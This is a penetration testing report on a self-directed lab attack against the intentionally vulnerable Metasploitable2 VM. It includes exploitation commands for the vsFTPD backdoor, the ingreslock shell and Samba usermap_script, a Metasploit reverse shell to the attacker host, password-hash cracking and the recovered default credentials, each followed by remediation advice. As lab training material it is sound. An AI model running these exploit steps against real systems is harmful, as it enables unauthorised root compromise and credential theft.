

VULNERABILITY ASSESMENT AND PENETRATION TESTING REPORT

Metasploitable2 Lab Environment

Prepared By	Md Wasif Raza
Prepared For	Self-Directed Penetration Testing Lab
Target	192.168.119.131 (Metasploitable2)
Attacker Host	192.168.119.134 (Kali Linux)
Engagement Type	Internal, unauthenticated black-box assessment
Assessment Dates	July 23 - 26, 2026
Report Date	July 26, 2026
Environment	Isolated lab network (VMware, host-only)
Classification	CONFIDENTIAL - For internal training use only

Document Control

Version	Date	Author	Description
1.0	July 26, 2026	Md Wasif Raza	Initial report

Table of Contents

1. Executive Summary

2. Scope & Objectives

3. Methodology

4. Reconnaissance & Enumeration

5. Findings

2

2

3

3

4

5.1 vsFTPD 2.3.4 Backdoor – Remote Root Code Execution	5
5.2 Ingreslock Backdoor – Unauthenticated Root Shell.....	8
5.3 Samba “username map script” Command Execution.....	9
5.4 Weak & Default Account Credentials.....	10
5.5 Anonymous FTP Access.....	12
6. Risk Summary.....	12
7. Attack Chain Overview.....	12
8. Recommendations Summary.....	13
9. Conclusion.....	13

1. Executive Summary

This report documents a penetration test performed against Metasploitable2, an intentionally vulnerable Linux virtual machine, as part of a hands-on offensive security training exercise. The assessment simulated an unauthenticated attacker with only network access to the target.

The engagement identified multiple critical vulnerabilities that allowed immediate, unauthenticated remote root access to the system through three independent attack paths: a backdoored FTP daemon, a hardcoded "ingreslock" backdoor shell, and a remote command injection flaw in Samba. In addition, weak and default account passwords were recovered from the system's shadow file within seconds using an offline dictionary attack, giving a fourth path to full compromise via legitimate-looking SSH and Telnet logins.

Root-level access (uid=0) was obtained via all of the following methods:

- vsFTPD 2.3.4 backdoor command execution (port 21 / 6200)
- Ingreslock backdoor shell (port 1524)
- Samba "username map script" remote command execution (port 139/445)
- Credential reuse: cracked root password over SSH and Telnet

Overall risk rating: CRITICAL. The target should never be exposed to an untrusted network, and every finding below maps to a well-documented, long-patched vulnerability class that has no place on a production system.

2. Scope & Objectives

The objective of this assessment was to identify and exploit vulnerabilities on the target host, escalate to the highest available privilege level, and document the full attack chain with reproducible evidence.

In Scope

- Target host: 192.168.119.131 (all TCP ports)

- Services: FTP, SSH, Telnet, SMTP, DNS, HTTP, RPC, SMB/NetBIOS, NFS, MySQL, PostgreSQL, VNC, IRC, Tomcat/AJP, and miscellaneous backdoor listeners

Rules of Engagement

- Testing conducted from an isolated, host-only VMware lab network
- Attacker system: Kali Linux, IP 192.168.119.134
- No denial-of-service testing performed against production-representative services

3. Methodology

Testing followed a standard black-box methodology consisting of reconnaissance, service enumeration, vulnerability identification, exploitation, privilege escalation, and post-exploitation credential harvesting.

- Reconnaissance & Port Scanning – Nmap full TCP port sweep, followed by targeted service/version/OS fingerprinting
- Service Enumeration – Manual banner grabbing with netcat; identification of outdated/backdoored service versions
- Exploitation – Metasploit Framework v6.4.135-dev used to weaponize identified vulnerabilities; manual netcat connections used to validate raw backdoor listeners
- Post-Exploitation – Password hash extraction via Meterpreter (hashdump / post/linux/gather/hashdump); offline cracking with John the Ripper against the rockyou.txt wordlist
- Persistence Validation – Re-authentication via SSH and Telnet using recovered credentials to confirm credential reuse risk

4. Reconnaissance & Enumeration

An initial full-range TCP scan (nmap -p- --min-rate 1000) identified 29 open ports. A follow-up targeted scan (nmap -sC -sV -O) fingerprinted service versions and the operating system, confirming Linux kernel 2.6.9–2.6.33.

```
$ nmap -p- --min-rate 1000 -oN all_scanned_ports.txt 192.168.119.131
$ nmap -sC -sV -O -oN targeted_detailed.txt 192.168.119.131
```

Key services identified:

Port/Proto	Service	Version
21/tcp	ftp	vsftpd 2.3.4
22/tcp	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp	telnet	Linux telnetd

25/tcp	smtp	Postfix smtpd
53/tcp	domain	ISC BIND 9.4.2
80/tcp	http	Apache httpd 2.2.8 (Ubuntu) DAV/2
111/tcp	rpcbind	2 (RPC #100000)
139/445/tcp	netbios-ssn / smb	Samba smbd 3.0.20-Debian
512-514/tcp	exec/login/shell	rexecd, rlogind, tcpwrapped
1099/tcp	java-rmi	GNU Classpath grmiregistry
1524/tcp	bindshell	Metasploitable root shell (backdoor)
2049/tcp	nfs	2-4 (RPC #100003)
2121/tcp	ftp	ProFTPD 1.3.1
3306/tcp	mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	vnc	VNC (protocol 3.3)
Port/Proto	Service	Version
6000/tcp	X11	(access denied)
6667/6697	irc	UnrealIRCd 3.2.8.1
8009/tcp	ajp13	Apache JServ Protocol v1.3
8180/tcp	http	Apache Tomcat/Coyote JSP engine 1.1

Notably, port 1524 was fingerprinted directly by Nmap as “bindshell – Metasploitable root shell” and port 21 returned a vsFTPD 2.3.4 banner — both immediate red flags for known backdoors covered in the findings below.

5. Findings

CRITICAL

5.1 vsFTPD 2.3.4 Backdoor – Remote Root Code Execution

CVE-2011-2523

The FTP service on port 21 advertises the string 220 (vsFTPD 2.3.4). This specific build of vsFTPD, distributed briefly in 2011, contained a malicious backdoor: any username ending in a smiley face sequence causes the daemon to spawn a root shell listener on TCP port 6200.

Proof of Concept

Manual trigger via netcat, confirming the banner and backdoor trigger sequence:

```
$ nc -nv 192.168.119.131 21
220 (vsFTPD 2.3.4)
USER hacker:)
331 Please specify the password.
PASS password
```

The trigger opens a root listener on port 6200, connected to directly:

```
$ nc -nv 192.168.119.131
6200 id uid=0(root)
gid=0(root) whoami root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

The same vulnerability was independently confirmed and exploited via Metasploit for repeatability:

```
msf > search vsftpd 2011-07-03 excellent Yes VSFTPD 2.3.4
1 exploit/unix/ftp/vsftpd_234_backdoor
Backdoor Command Execution

msf > use 1
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.119.131
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.119.134 msf
exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[+] 192.168.119.131:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected;
backdoor may be present
[+] 192.168.119.131:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.119.134:4444 -> 192.168.119.131:50556)
meterpreter > shell whoami root
```

Impact

Full, unauthenticated, remote root compromise of the host with no exploitation prerequisites beyond network reachability to port 21.

Remediation

- Remove this specific compromised vsFTPd 2.3.4 build immediately; it is not the official distribution
- Upgrade to a current, vendor-supported FTP daemon or replace FTP with SFTP/FTPS
- Verify package integrity (checksums/signatures) for any future FTP server installation
- Restrict FTP service exposure to trusted networks only via firewall rules

5.2

Ingreslock Backdoor – Unauthenticated Root Shell

Legacy backdoor listener

TCP port 1524, normally associated with the Ingres database lock manager, was found bound to a raw, unauthenticated root command shell — a legacy backdoor left over from a prior (simulated) compromise of the box. Any client that connects is handed an interactive root shell with zero authentication.

Proof of Concept

```
$ nc -nv 192.168.119.131 1524
(UNKNOWN) [192.168.119.131] 1524 (ingreslock) open
root@metasploitable:/# whoami root root@metasploitable:/# id uid=0(root)
gid=0(root) groups=0(root)
```

Impact

Trivial, unauthenticated, instantaneous root access — the most severe possible finding, requiring only a TCP connection.

Remediation

- Identify and remove the process bound to port 1524; audit the host for other rogue listeners (e.g., with netstat/ss and a baseline comparison)
- Treat the host as fully compromised and rebuild from a known-good image rather than attempting inplace remediation
- Implement host-based intrusion detection to alert on unexpected listening sockets

Samba “username map script” Command Execution

CVE-2007-2447

The Samba 3.0.20-Debian service (ports 139/445) is configured with the legacy username map script option, which fails to sanitize shell metacharacters in the login username field supplied via the MS-RPC SamrChangePassword call. This allows arbitrary shell command injection with the privileges of the smbd process (root).

5.3

Proof of Concept

```
msf > search samba 3.0.20
0 exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution

msf > use 0
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.119.131 msf
exploit(multi/samba/usermap_script) > set LHOST 192.168.119.134 msf
exploit(multi/samba/usermap_script) > set payload 24 # cmd/unix/reverse msf
exploit(multi/samba/usermap_script) > exploit
[*] Command shell session 1 opened (192.168.119.134:4444 -> 192.168.119.131:40245) id uid=0(root) gid=0(root)
```

Impact

Full unauthenticated remote root compromise via the SMB service, independent of any FTP-based attack path.

Remediation

- Disable the username map script Samba configuration directive entirely
- Upgrade to a current, patched Samba release
- Restrict SMB (139/445) exposure to trusted internal segments only

Weak & Default Account Credentials

CWE-521 / CWE-798

With a foothold established via the vsFTPD backdoor, the local /etc/shadow file was harvested using Meterpreter's post/linux/gather/hashdump module, producing an unshadowed password file. Offline cracking with John the Ripper against the rockyou.txt wordlist recovered 6 of 7 account passwords in under 90 seconds, including the root account.

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed_hashes.txt
123456789 (klog)
msfadmin (root) batman
(sys)
service (service)
4g 0:00:01:27 DONE (2026-07-26 09:44)

$ john --show unshadowed_hashes.txt
6 password hashes cracked, 1 left
```

Recovered credentials:

Username	Cracked Password	UID	Shell
----------	------------------	-----	-------

5.4

root	msfadmin	0	/bin/bash
msfadmin	msfadmin	1000	/bin/bash
sys	batman	3	/bin/sh
klog	123456789	103	/bin/false
user	user	1001	/bin/bash
service	service	1002	/bin/bash
postgres	(not cracked)	108	/bin/bash

The cracked root password was reused successfully to obtain interactive shells over both SSH and Telnet, demonstrating that a single weak password compromises multiple services simultaneously:

```
$ ssh root@192.168.119.131
root@192.168.119.131's password:
root@metasploitable:~# whoami
root

$ telnet 192.168.119.131 23
metasploitable login: root Password:
root@metasploitable:~# id uid=0(root)
gid=0(root) groups=0(root)
```

Impact

Even absent the backdoor/RCE findings above, an attacker with any credential-harvesting foothold could pivot to full administrative access over standard remote-access protocols using a top-10-million password list.

Remediation

- Enforce strong, unique passwords and a minimum complexity/length policy for all accounts, especially root
- Disable direct root login over SSH and Telnet (PermitRootLogin no); require sudo from a named account
- Migrate password hashing from MD5-crypt (\$1\$) to a modern algorithm (bcrypt/yescrypt/SHA-512)
- Disable Telnet entirely in favor of SSH — Telnet transmits credentials in cleartext

5.5 Anonymous FTP Access

CWE-287

MEDIUM

The FTP service permits anonymous login (FTP code 230), allowing unauthenticated users to browse and potentially retrieve files, aiding reconnaissance.

Remediation

- Disable anonymous FTP access unless there is an explicit, documented business requirement
- If anonymous access is required, restrict it to a dedicated, non-sensitive directory with no write permissions

6. Risk Summary

The table below summarizes all findings by severity. Ratings follow a qualitative Critical/High/Medium/Low scale based on ease of exploitation and resulting impact.

Finding	Severity	CVSS-ish Risk	Vector
FTP - vsFTPd 2.3.4 Backdoor	Critical	10.0 (Critical)	Remote code execution / port 21, 6200
Samba usermap_script RCE	Critical	10.0 (Critical)	Remote code execution / port 139, 445
Ingreslock Backdoor Shell	Critical	10.0 (Critical)	Unauthenticated root shell / port 1524
Weak / Default Credentials	High	8.5 (High)	Password cracking / SSH, Telnet
Anonymous FTP Access	Medium	5.3 (Medium)	Information disclosure / port 21
Telnet Cleartext Authentication	Medium	5.9 (Medium)	Credential interception / port 23

7. Attack Chain Overview

Multiple independent paths led to the same outcome — unauthenticated remote root — illustrating defense-in-depth failure rather than a single point of weakness:

- Path A: Anonymous/backdoored FTP banner (vsFTPD 2.3.4) → trigger backdoor → root shell on port 6200
- Path B: Direct connection to legacy Ingreslock backdoor listener on port 1524 → immediate root shell
- Path C: Samba username map script injection → root command shell via reverse TCP
- Path D: Hash dump from any of the above footholds → offline crack → credential reuse over SSH/Telnet

Each path was independently reproducible and required no chaining of multiple vulnerabilities — any single finding above was sufficient on its own for full compromise.

8. Recommendations Summary

In priority order:

- Immediately decommission or rebuild any host exhibiting these characteristics; this system should never be reachable from an untrusted network (the OS itself warns of this at login)
- Patch or replace all identified outdated/backdoored service versions (vsFTPD, Samba)
- Remove unauthorized listeners (Ingreslock backdoor on 1524) and audit for other unexpected open ports
- Enforce strong password policy and disable cleartext-credential protocols (Telnet)
- Disable direct root login on all remote-access services
- Reduce overall attack surface by disabling unused legacy services (rexec, rlogin, rsh, NIS, X11 over network)
- Implement network segmentation and firewalling so that only required ports are reachable from each trust zone

9. Conclusion

This engagement successfully demonstrated complete compromise of the target host through three independent, unauthenticated remote-root vulnerabilities, plus a fourth path via weak credential recovery. Metasploitable2 is intentionally vulnerable by design and serves its purpose well as a training target; the findings above mirror real-world vulnerability classes (backdoored software supply chain, hardcoded backdoor shells, command injection, and weak credential hygiene) that continue to appear in production environments. All activity was conducted in an isolated lab network with no impact to production systems.

Prepared by: Md Wasif Raza

Signature: _____

Date: July 26, 2026

End of Report